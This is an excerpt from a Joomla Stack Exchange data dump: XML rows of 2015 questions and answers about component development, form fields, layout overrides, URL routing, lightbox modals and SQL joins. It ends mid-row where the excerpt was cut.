  <row Id="10024" PostTypeId="1" AcceptedAnswerId="10141" CreationDate="2015-05-20T15:39:28.760" Score="2" ViewCount="182" Body="&lt;p&gt;I'm creating custom helpdesk ticketing component, where I need to track user activities. For e.g., If user have created the ticket, then it should get save to history table. Let's say user wants to update one of the field (suppose it is subject of ticket), he can just edit subject in the form and clicking on submit button will fire &lt;code&gt;JTable-&amp;gt;save($data)&lt;/code&gt; method which will result in saving of corresponding field (in this case it is Subject)&lt;/p&gt;&#xA;&lt;p&gt;My question is, How do I know which &lt;strong&gt;field(s)&lt;/strong&gt; are getting updated in database?&lt;/p&gt;&#xA;&lt;p&gt;I will get those fields and save in a database like this:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;John Doe has modified Subject of Ticket on 05/19/2015&lt;/p&gt;&#xA;&lt;p&gt;John Doe has Created Ticket on 05/19/2015&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Do I need to write a plugin to achieve this? I don't expect to have a code. Just a small kick-start would help me.&lt;/p&gt;&#xA;" OwnerUserId="2233" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2015-05-26T21:00:24.910" Title="JTable - How to know which fields are getting updated" Tags="|joomla-3.x|jtable|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10026" PostTypeId="2" ParentId="10005" CreationDate="2015-05-20T15:58:40.300" Score="1" Body="&lt;p&gt;Please see following answers to your question:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You can render individual field as follows:&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo $this-&amp;gt;form-&amp;gt;getField('field1')-&amp;gt;label;&#xA;echo $this-&amp;gt;form-&amp;gt;getField('field1')-&amp;gt;input;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;At this time you would not have a value to above input field. If you want to give default value to your field1 then you can do following in your model:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure that you are extending your model with JModelForm or JModelAdmin&lt;/p&gt;&#xA;&#xA;&lt;p&gt;override getForm method&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function getForm($data = array(), $loadData = true)&#xA;{&#xA;        $form = $this-&amp;gt;loadForm('com_yourcomponent.formname', 'formname', array('control' =&amp;gt; 'jform', 'load_data' =&amp;gt; $loadData));&#xA;&#xA;  if (empty($form))&#xA;  {&#xA;      return false;&#xA;  }            &#xA;&#xA;  $form-&amp;gt;setFieldAttribute('field1', 'default', 'Your Value');&#xA;&#xA;  return $form;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want to get value in runtime them do following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your save($data) method of Model&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function save($data)&#xA;{&#xA;   // Get the value of field1 with it's name. Make sure to check if value exists.&#xA;   $field1 = $data['field1'];&#xA;   $field2 = $data['field2'];&#xA;&#xA;   // Merge both field's value to one Array&#xA;   $attribs = array('field1' =&amp;gt; $field1, 'field2' =&amp;gt; $field2);&#xA;&#xA;   // Convert it to JSON object&#xA;   $data['attribs'] = json_encode($attribs);&#xA;   return parent::save($data);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2233" LastActivityDate="2015-05-20T15:58:40.300" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10027" PostTypeId="2" ParentId="10022" CreationDate="2015-05-20T16:35:40.000" Score="1" Body="&lt;p&gt;As far as I know, fabrik packages is an experimental feature yet. Briefly, the best way to move your fabrik work from your localhost to your live site is:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Install a fresh copy of fabrik in your live site.  &lt;/li&gt;&#xA;&lt;li&gt;If you have installed the github version and any extra plugins, make sure to update the core fabrik installation with the git version as you did in your localhost, and also remember to move any custom templates you created. &lt;/li&gt;&#xA;&lt;li&gt;Make a sql dump that will contain all the #_fabrik tables + any custom list tables you created inside fabrik.&lt;/li&gt;&#xA;&lt;li&gt;Import the sql in your live site.&lt;/li&gt;&#xA;&lt;li&gt;Update the sql connection inside fabrik.&lt;/li&gt;&#xA;&lt;li&gt;Replicate the rest of your localhost work in Joomla (e.g. menu items, access levels etc).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;For more information and better assistance, refer to the developers site.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2015-05-20T16:35:40.000" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10028" PostTypeId="2" ParentId="10005" CreationDate="2015-05-20T17:44:16.110" Score="1" Body="&lt;p&gt;Ok, yet I resolved the first issue with the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$json = $this-&amp;gt;item-&amp;gt;attribs;&#xA;$obj = json_decode($json);&#xA;$value1 = $obj-&amp;gt;{&quot;field1&quot;};&#xA;echo $this-&amp;gt;form-&amp;gt;getField('field1','attribs')-&amp;gt;label;&#xA;echo '&amp;lt;input type=&quot;text&quot; name=&quot;jform[attribs][field1]&quot; id=&quot;jform_attribs_field1&quot; value=&quot;'.$value1.'&quot; class=&quot;inputbox&quot; size=&quot;40&quot; /&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and to the save($data) function in the model I've added only the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$attribs = array();&#xA;$attribs['field1'] = $data['attribs']['field1'];&#xA;$data['attribs'] = json_encode($attribs);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There is no need to add something to getForm method&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now everything works perfectly but any better solution would be appreciated&lt;/p&gt;&#xA;" OwnerUserId="4042" LastActivityDate="2015-05-20T17:44:16.110" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10029" PostTypeId="1" CreationDate="2015-05-20T18:59:03.813" Score="0" ViewCount="161" Body="&lt;p&gt;I want to remove the &quot;recent blog posts&quot; banner from the main page of an easyblog.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kvvIC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5278" LastActivityDate="2015-05-20T20:07:43.677" Title="Easyblog remove &quot;recent blog posts&quot; banner" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10030" PostTypeId="2" ParentId="10029" CreationDate="2015-05-20T20:07:43.677" Score="1" Body="&lt;p&gt;You can override the component view and change it. Here you can find the full explanation about overrides:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Understanding Output Overrides&lt;/strong&gt;&#xA;&lt;a href=&quot;http://docs.joomla.org/Understanding_Output_Overrides&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/Understanding_Output_Overrides&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-05-20T20:07:43.677" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10031" PostTypeId="1" CreationDate="2015-05-20T21:17:50.847" Score="0" ViewCount="40" Body="&lt;p&gt;In my easyblog socialbutton, I'm getting a weird display issue, it shows two hyperlinks that say &quot;St&quot; and &quot;Su&quot;, respectively.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pov4a.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an easy fix to this? In firebug I can add css &lt;code&gt;display:none;&lt;/code&gt;, but that's problematic since the css page originates from a stumbleupon url.&lt;/p&gt;&#xA;" OwnerUserId="5278" LastActivityDate="2015-05-22T08:45:25.640" Title="Easyblog socialbutton not displaying properly" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10032" PostTypeId="1" CreationDate="2015-05-20T22:23:20.793" Score="1" ViewCount="276" Body="&lt;p&gt;Does Joomla 3.4 has any standard API for showing a lightbox container.  The idea is to show a view inside a lightbox container on a button click.&lt;/p&gt;&#xA;" OwnerUserId="2239" LastActivityDate="2015-05-29T13:08:29.823" Title="Joomla API for lightbox?" Tags="|joomla-api|joomla-3.4|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10033" PostTypeId="1" CreationDate="2015-05-20T23:12:31.040" Score="2" ViewCount="1223" Body="&lt;p&gt;I'm building a site for a friend and I should state that this is not what I'm doing for living. I just started working with Joomla a few days ago.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything is good so far, except I'm stuck at one point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a site for a construction company and I need to create articles for on-going and completed projects. I will create an article for each project and each article will belong to a category, 'Completed' and 'On-Going', respectfully.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I plan to create menu links for 'Completed' and 'On-Going' categories in main menu. I also want to present a thumbnail of the article on the category list. Problem is, standard look of the category list is kinda ugly, and I have no idea how to change it. I'm using a template named PixelDot, but it does not seem to do any good for my problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;During my research, I stumbled upon concepts 'Layout Overrides' and 'Alternative Layouts'. I have basic html and css knowledge, also some PHP, but I am totally lost on which file(s) to modify. I also need a little help on get the entry text picture as a thumbnail on the category list (this is the list where you see 'articles' aka projects which belongs to the category (completed or on-going), when you clicked on relevant menu button)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help will be highly appreciated. My Joomla version is 3.4.1. (which I believe most up-to-date version as today)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sometimes making it more complex while I try to make things detailed and clear, I hope this is not one of those cases.&lt;/p&gt;&#xA;" OwnerUserId="5281" LastActivityDate="2015-05-21T05:42:23.703" Title="Joomla - Modifying default category list view (through overrides?)" Tags="|overrides|category|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10034" PostTypeId="2" ParentId="9651" CreationDate="2015-05-21T01:01:30.927" Score="3" Body="&lt;p&gt;If you are using Nooku Framework to build your component you can make use of the build in template engine and special &lt;code&gt;ktml&lt;/code&gt; tags which makes it very easy to add assets to your page head.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all, you need to ensure that your component assets are in the Joomla /media folder. Example : /media/com_foo/css/bar.css&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you can use &lt;code&gt;&amp;lt;ktml:style src=&quot;media://com_foor/css/bar.css&quot;&lt;/code&gt; /&gt; in your component template. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Please note that this only works in a template and if you are using&#xA;  Nooku Framework 2.x.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;&amp;lt;ktml:style src=&quot;[]&quot; /&amp;gt;&lt;/code&gt; is a special tag that the template engine will replace into a correct script tag and move into the head of your page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;media://&lt;/code&gt; is a special asset URL scheme. It's a shortcut for the Joomla media folder used in URLs to media assets. It will be filtered by the template engine upon render and replaced by the absolute path for the folder being JURI::root(). Unless you define this otherwise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The use of the &lt;code&gt;&amp;lt;ktml:style src=&quot;[]&quot; /&amp;gt;&lt;/code&gt; makes it very easy to include css files in your Nooku powered extensions and it makes your template more re-usable and simpler. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For an example check our &lt;a href=&quot;https://github.com/nooku/joomla-todo/blob/master/administrator/components/com_todo/views/task/tmpl/default.html.php&quot; rel=&quot;nofollow&quot;&gt;Nooku example todo component&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;More about the Joomla media folder can be found in the &lt;a href=&quot;https://docs.joomla.org/Development_Best_Practices#Where_should_I_place_JavaScript.2C_CSS.2C_and_Image_files_that_belong_to_my_Component.3F&quot; rel=&quot;nofollow&quot;&gt;Joomla developer best practives&lt;/a&gt;.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;For loading javascript you can use the &lt;code&gt;&amp;lt;ktml:script scr=&quot;[..]&quot; /&amp;gt;&lt;/code&gt; tag. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="5282" LastEditorUserId="5282" LastEditDate="2015-05-21T21:26:57.113" LastActivityDate="2015-05-21T21:26:57.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10035" PostTypeId="2" ParentId="9696" CreationDate="2015-05-21T01:26:18.863" Score="3" Body="&lt;p&gt;The reason your page is slow is because you are trying to load all or a lot of the data at once, or because your query isn't optimised correctly due to missing indexes. Hard to say without more info.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case the query is optimised you need to ensure to paginate the loading of your data by &lt;code&gt;LIMIT&lt;/code&gt; 'ing your query and resulting resultset.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Out of the box Nooku Framework does this for you and it prevents you from loading more then 100 rows at a time. You don't need to do anything extra to make this work. By using a correct controller/model/view setup pagination of data works out of the box in Nooku by adding &lt;code&gt;limit&lt;/code&gt; and &lt;code&gt;offset&lt;/code&gt; parameters to the URL query.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Nooku Framework uses &lt;code&gt;offset&lt;/code&gt; out of the box, but also supports &lt;code&gt;limitstart&lt;/code&gt; which is the Joomla equivalent.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;A good example to get started with a correct setup Nooku is the &lt;a href=&quot;http://guides.nooku.org/getting-started.html&quot; rel=&quot;nofollow&quot;&gt;getting started tutorial&lt;/a&gt; which runs you through creating a simple Todo extension for Joomla.&lt;/p&gt;&#xA;" OwnerUserId="5282" LastEditorUserId="5282" LastEditDate="2015-05-21T09:51:23.460" LastActivityDate="2015-05-21T09:51:23.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10036" PostTypeId="1" AcceptedAnswerId="10038" CreationDate="2015-05-21T04:27:57.707" Score="2" ViewCount="246" Body="&lt;p&gt;My blog item link looks like this &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://localhost/joomla/blog/5-our-principle&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;5 is the id showing. how can i remove the id?&lt;/p&gt;&#xA;" OwnerUserId="5198" LastActivityDate="2015-05-21T20:45:25.670" Title="Remove article id from blog link" Tags="|joomla-3.x|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10038" PostTypeId="2" ParentId="10036" CreationDate="2015-05-21T05:00:29.603" Score="1" Body="&lt;p&gt;Joomla does not provide any configuration to change this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But you can use additional extensions which can remove id from the url.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below are some of the extension, you can further check it on &lt;a href=&quot;http://extensions.joomla.org/&quot; rel=&quot;nofollow&quot;&gt;JED&lt;/a&gt; for more extensions.&#xA;&lt;a href=&quot;http://extensions.joomla.org/extensions/extension/site-management/sef/simple-custom-router&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extensions/extension/site-management/sef/simple-custom-router&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/extension/extension-specific/seblod-extensions/canonical-field-for-seblod&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extensions/extension/extension-specific/seblod-extensions/canonical-field-for-seblod&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="396" LastActivityDate="2015-05-21T05:00:29.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10039" PostTypeId="2" ParentId="10036" CreationDate="2015-05-21T05:39:34.683" Score="1" Body="&lt;p&gt;If you have only few articles and you are not planning to add more, then create &quot;Articles - Single Article&quot; menu item for each of your article. Painful but works.&lt;/p&gt;&#xA;" OwnerUserId="4134" LastActivityDate="2015-05-21T05:39:34.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10040" PostTypeId="2" ParentId="10033" CreationDate="2015-05-21T05:42:23.703" Score="1" Body="&lt;p&gt;Yes, what you want to accomplish is better done through a layout override. The good news is that it is pretty simple since you only have to copy working code to a folder inside your template and modify it from there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take a look at this &lt;a href=&quot;https://docs.joomla.org/Understanding_Output_Overrides&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Understanding_Output_Overrides&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a cheatsheet near the end telling you exactly what to copy and where.&lt;/p&gt;&#xA;" OwnerUserId="2097" LastActivityDate="2015-05-21T05:42:23.703" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10041" PostTypeId="2" ParentId="10032" CreationDate="2015-05-21T05:44:53.623" Score="2" Body="&lt;p&gt;Yes, you can use the API code like below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::_('behavior.modal', 'some_id_of_model');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now your link to open the model&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a class=&quot;btn btn-primary some_id_of_model&quot; title=&quot;title&quot; href=&quot;url of the content&quot; rel=&quot;{handler: 'iframe', size: {x: 800, y: 500}}&quot;&amp;gt;Open Model&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4134" LastActivityDate="2015-05-21T05:44:53.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10042" PostTypeId="1" CreationDate="2015-05-21T06:21:43.813" Score="1" ViewCount="35" Body="&lt;p&gt;I use several extensions and really only want users to access those extensions from within the menu item's I put them in. However it's clear that if you know the name of an extension you can see views of it and get around this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;index.php?option=com_component&amp;amp;view=view&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I block this access to a component?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mat&lt;/p&gt;&#xA;" OwnerUserId="1799" LastEditorUserId="126" LastEditDate="2016-01-21T22:46:17.550" LastActivityDate="2016-01-21T22:46:17.550" Title="Best way to limit access to raw Joomla" Tags="|component|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10043" PostTypeId="2" ParentId="10042" CreationDate="2015-05-21T07:31:30.120" Score="2" Body="&lt;p&gt;There are many extension available which can let you control the component accessibility.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can check &lt;a href=&quot;http://extensions.joomla.org/&quot; rel=&quot;nofollow&quot;&gt;JED&lt;/a&gt; for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you wish you have something which is minimalist and do the necessary then you can create your own plugin to handle this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla plugin creation is quite simple.&#xA;Below are some of the reference which you can refer for plugin development help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Portal:Plugin_Development&quot; rel=&quot;nofollow&quot;&gt;Plugin Development&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Plugin/Events&quot; rel=&quot;nofollow&quot;&gt;Joomla Events&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/J3.x:Creating_a_Plugin_for_Joomla&quot; rel=&quot;nofollow&quot;&gt;Creating  a Plugin for Joomla&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All you need to do is fetch the option and view parameters on &#xA;&lt;strong&gt;onAfterRoute&lt;/strong&gt; trigger in your plugin and validated whether to pass this request or block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function onAfterRoute()&#xA;{&#xA;    $option =  JFactory::getApplication()-&amp;gt;input-&amp;gt;get('option', '');&#xA;    $view   =  JFactory::getApplication()-&amp;gt;input-&amp;gt;get('view', '');&#xA;&#xA;   //Apply your logic here&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="396" LastActivityDate="2015-05-21T07:31:30.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10045" PostTypeId="2" ParentId="9770" CreationDate="2015-05-21T09:42:18.383" Score="2" Body="&lt;p&gt;To do this you need to create a model for your component and put it in your component model folder. Nooku is a by convention framework ensure you understand the naming conventions. You can find more information in the &lt;a href=&quot;http://guides.nooku.org/essentials/naming-conventions.html&quot; rel=&quot;nofollow&quot;&gt;Nooku guides&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code for your model (Nooku Framework 2.x) :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class ComSgrmreModelReclamations extends KModelDatabase&#xA;{ &#xA;    protected function _buildQueryColumns(KDatabaseQueryInterface $query)&#xA;    {  &#xA;        $query&#xA;            -&amp;gt;distinct();&#xA;            -&amp;gt;columns(array('tbl.Libelle_Pays'))&#xA;&#xA;    }        &#xA;&#xA;    protected function _buildQueryJoins(KDatabaseQueryInterface $query)&#xA;    {&#xA;        $query-&amp;gt;join(array('pays' =&amp;gt; 'sgrmre_pays'), 'pays.Code_Pays = tbl.code_pays', 'LEFT'):&#xA;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The resulting query generated by this code would be :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT DISTINCT Libelle_Pays FROM a3n4v_sgrmre_reclamations AS tbl LEFT JOIN a3n4v_sgrmre_pays AS pays WHERE tbl.Code_Pays = pays.code_pays&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The $query object passed in is a KDatabaseQuerySelect object in this case and provides a OO wrapper to create SELECT statements. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The name of the table is based on the name of the model class name, eg sgrmre_reclamations. The Joomla database prefix is automatically added by Nooku and doesn't need to be included. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The &lt;code&gt;tbl&lt;/code&gt; is the shortcut for the table base table that is being queried; it's available everywhere when creating a query.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The &lt;code&gt;DISTINCT&lt;/code&gt; is done in the when creating the columns to ensure it's not included when generating a &lt;code&gt;COUNT&lt;/code&gt; query. If you want the count query to take the distinct into account you need to move to the &lt;code&gt;joins&lt;/code&gt; or &lt;code&gt;where&lt;/code&gt; method.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Th type of join is &lt;code&gt;LEFT&lt;/code&gt; by default, and the third parameter can be omitted; or any other type of join can be specified. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;References :&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/nooku/nooku-framework/blob/2.0/code/libraries/koowa/libraries/database/query/select.php&quot; rel=&quot;nofollow&quot;&gt;KDatabaseQuerySelect&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/nooku/nooku-framework/blob/2.0/code/libraries/koowa/libraries/model/database.php&quot; rel=&quot;nofollow&quot;&gt;KModelDatabase&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="5282" LastActivityDate="2015-05-21T09:42:18.383" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10046" PostTypeId="1" CreationDate="2015-05-21T10:36:00.703" Score="5" ViewCount="2523" Body="&lt;p&gt;I have created several categories in my Joomla site to keep my articles organised but I have noticed that Google can see these categories and the category id and name is being added randomly to the end of my url.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.edesix.com/products/85-news&quot; rel=&quot;noreferrer&quot;&gt;http://www.edesix.com/products/85-news&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This to me makes no sense what so ever. And the url is very confusing!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to stop these category pages from showing and being picked up by Google?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="5294" LastActivityDate="2017-01-25T12:16:58.813" Title="How Can I Get Rid Of Category Pages in Joomla" Tags="|joomla-3.x|url|seo|category|google-analytics|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10047" PostTypeId="2" ParentId="10046" CreationDate="2015-05-21T10:55:38.110" Score="0" Body="&lt;p&gt;In your Google Webmaster Console (Google Search Console) you can make any URL to be closed from indexing by Google search engine&lt;/p&gt;&#xA;" OwnerUserId="4042" LastEditorUserId="4042" LastEditDate="2015-05-21T20:54:46.250" LastActivityDate="2015-05-21T20:54:46.250" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="10048" PostTypeId="1" CreationDate="2015-05-21T11:02:32.737" Score="1" ViewCount="629" Body="&lt;p&gt;This issue is extending of the question(s) by the link &lt;a href=&quot;https://joomla.stackexchange.com/a/9836/4042&quot;&gt;joomla.stackexchange.com/a/9836/4042&lt;/a&gt; but with condition when child record has not only ONE parent (parent record) but MANY.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With two left joins from the accepted answer by that link it works perfectly if child record has only ONE parent (or many childs are bound to the same ONE parent). But what about the case when one child record is bound to multiple parents (parent records)? I.e:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;#__records:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;id  name&#xA;1   Child1&#xA;2   Parent1&#xA;3   Parent2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;#__parents:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;id  child_id  parent_id&#xA;1       1         2&#xA;2       1         3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using that two left joins for this case I get the same child record twice in the list of records at the back-end for each parent_name:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ID  CHILD    PARENT&#xA;1   Child1   Parent1&#xA;1   Child1   Parent2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So there are two questions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1.&lt;/strong&gt; How to push the &lt;strong&gt;parent_name&lt;/strong&gt; to array() and to get the list of child records at the back-end of my component (if &lt;strong&gt;administrator/index.php?com_mycom&amp;amp;view=recordS&lt;/strong&gt;) like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ID CHILD   PARENT&#xA;1  Child1  Parent1, Parent2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2.&lt;/strong&gt; How to get the field with array of parents in the form for editing a single record and how to (re)save the field in the DB (if &lt;strong&gt;administrator/index.php?com_mycom&amp;amp;view=record&amp;amp;layout=edit&amp;amp;id=1&lt;/strong&gt;)? I try to add to my &lt;strong&gt;admin/models/forms/record.xml&lt;/strong&gt; the field like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field &#xA;    name=&quot;parentheader&quot;&#xA;    type=&quot;list&quot;&#xA;    label=&quot;COM_MYCOM_PARENT&quot;&#xA;    description=&quot;&quot;&#xA;    class=&quot;chzn-color-state&quot;&#xA;    multiple=&quot;multiple&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;0&quot;&amp;gt;COM_MYCOM_SELECT_PARENT&amp;lt;/option&amp;gt;&#xA;&amp;lt;/field&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and to render it in tmpl with this one:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::_('formbehavior.chosen', 'select');&#xA;...&#xA;&amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;   &amp;lt;div class=&quot;control-label&quot;&amp;gt;&#xA;      &amp;lt;?php echo 